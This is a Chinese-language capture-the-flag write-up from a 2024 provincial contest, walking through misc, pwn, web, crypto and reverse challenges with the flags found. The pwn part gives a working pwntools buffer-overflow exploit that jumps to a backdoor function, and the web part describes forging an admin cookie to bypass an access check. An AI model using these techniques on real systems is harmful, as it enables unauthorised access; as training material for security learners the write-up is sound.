24山東省賽wp

r_0xy發表於2024-10-30

misc

ezpic

在這個通道可以看到二維碼

image-20241029233657525

掃一下能看到前半flag

image-20241029233727340

010裡看到後半flag

image-20241029233802308

簡單編碼

img

根據提示有,我們可以找到rot系列的rot13和rot47,嘗試一下就有flag了

image-20241029234058150

pwn

epwn

這回真是ezpwn了(

檢查保護

image-20241030000118904

IDA找到漏洞函式gets和偏移量以及後門函式

image-20241029235443095

image-20241029235451173

於是可以快樂的寫exp了

from pwn import *

context(arch="amd64",os="linux",log_level="debug")
filename="./ezpwn"

p=process(filename)
elf=ELF(filename)
flag_addr=0x400547
padding=40
payload=padding*b'a'+p64(0x400416)+p64(flag_addr)
p.sendline(payload)
p.interactive()

這裡被棧對齊絆了一下,一開始怎麼弄都不對,後來忘了可能是64位沒有棧對齊的緣故,用ROPgadget找了個ret就好了

image-20241030001100680

web

簽到題(忘了叫什麼名字了)

比賽的時候沒有及時截圖,但是截了一張紀念我第一次做出來web的紀念圖.

Snipaste_2024-10-27_14-10-27

我的大體流程是先玩了一下游戲,然後彈窗提示我要去訪問一個php檔案,於是我就去訪問了一下,那個頁面大概是說要我是admin才可以

一開始我嘗試在url裡用?傳參(?user=admin),但是不對,後來我就想著用bp看看,抓了一下包,發現響應包的cooki裡有個user,聯想到提示的admin,我就在輸入包里加了個cooki:admin.相應包裡就出來flag了

crypto

古典之美

給了串密文yzabliviiszwve{blbekmnehedtmltfxrhsxhn}

題目提示是:凱撒?好像又不是凱撒(大概是這樣)

於是我就先拿凱撒變成xxxx{xxxxx}的形式(這個應該是巧合了,我不清楚cyberchef裡的凱撒是凱撒盒子加密,一般來說的凱撒應該都是rot系列的)

image-20241030001748651

然後又想到是不是可以rot一下看看,在不破壞{}的情況下,只有rot13系列可以,因為rot47會對所有可見字元在ASCII碼上rot

於是得到flag

image-20241030002255822

reverse

exchange

Snipaste_2024-10-27_16-19-49

沒殼,進入IDA看看先

image-20241030002515563

這個程式就是去檢驗輸入的v9對不對,只不過v9的檢驗順序是和v7掛鉤的,而不是順序的檢測,根據這個我們就可以寫出來指令碼了

#include <iostream>
#include <bits/stdc++.h>
using namespace std;

int main()
{
 int v7[38];
 v7[0] = 0;
  v7[1] = 1;
  v7[2] = 2;
  v7[3] = 3;
  v7[4] = 4;
  v7[5] = 13;
  v7[6] = 28;
  v7[7] = 5;
  v7[8] = 20;
  v7[9] = 29;
  v7[10] = 7;
  v7[11] = 26;
  v7[12] = 34;
  v7[13] = 18;
  v7[14] = 14;
  v7[15] = 8;
  v7[16] = 35;
  v7[17] = 24;
  v7[18] = 19;
  v7[19] = 12;
  v7[20] = 23;
  v7[21] = 15;
  v7[22] = 10;
  v7[23] = 36;
  v7[24] = 31;
  v7[25] = 6;
  v7[26] = 27;
  v7[27] = 17;
  v7[28] = 25;
  v7[29] = 32;
  v7[30] = 22;
  v7[31] = 11;
  v7[32] = 30;
  v7[33] = 21;
  v7[34] = 33;
  v7[35] = 9;
  v7[36] = 16;
  v7[37] = 37;
  char v8[38];
   v8[0] = 'f';
  v8[1] = 'l';
  v8[2] = 'a';
  v8[3] = 'g';
  v8[4] = '{';
  v8[5] = '4';
  v8[6] = '7';
  v8[7] = 'e';
  v8[8] = 'b';
  v8[9] = 'f';
  v8[10] = '0';
  v8[11] = '0';
  v8[12] = '8';
  v8[13] = '9';
  v8[14] = '9';
  v8[15] = 'a';
  v8[16] = '3';
  v8[17] = '6';
  v8[18] = 'a';
  v8[19] = '9';
  v8[20] = '5';
  v8[21] = 'b';
  v8[22] = 'c';
  v8[23] = 'e';
  v8[24] = '0';
  v8[25] = '1';
  v8[26] = '5';
  v8[27] = '5';
  v8[28] = 'e';
  v8[29] = 'f';
  v8[30] = 'e';
  v8[31] = '3';
  v8[32] = '2';
  v8[33] = 'b';
  v8[34] = '8';
  v8[35] = 'd';
  v8[36] = 'a';
  v8[37] = '}';
  char str[40];
  for(int i=0;i<38;i++){
  	str[v7[i]]=v8[i];
  }
  cout<<str;
}

image-20241030002757778

相關文章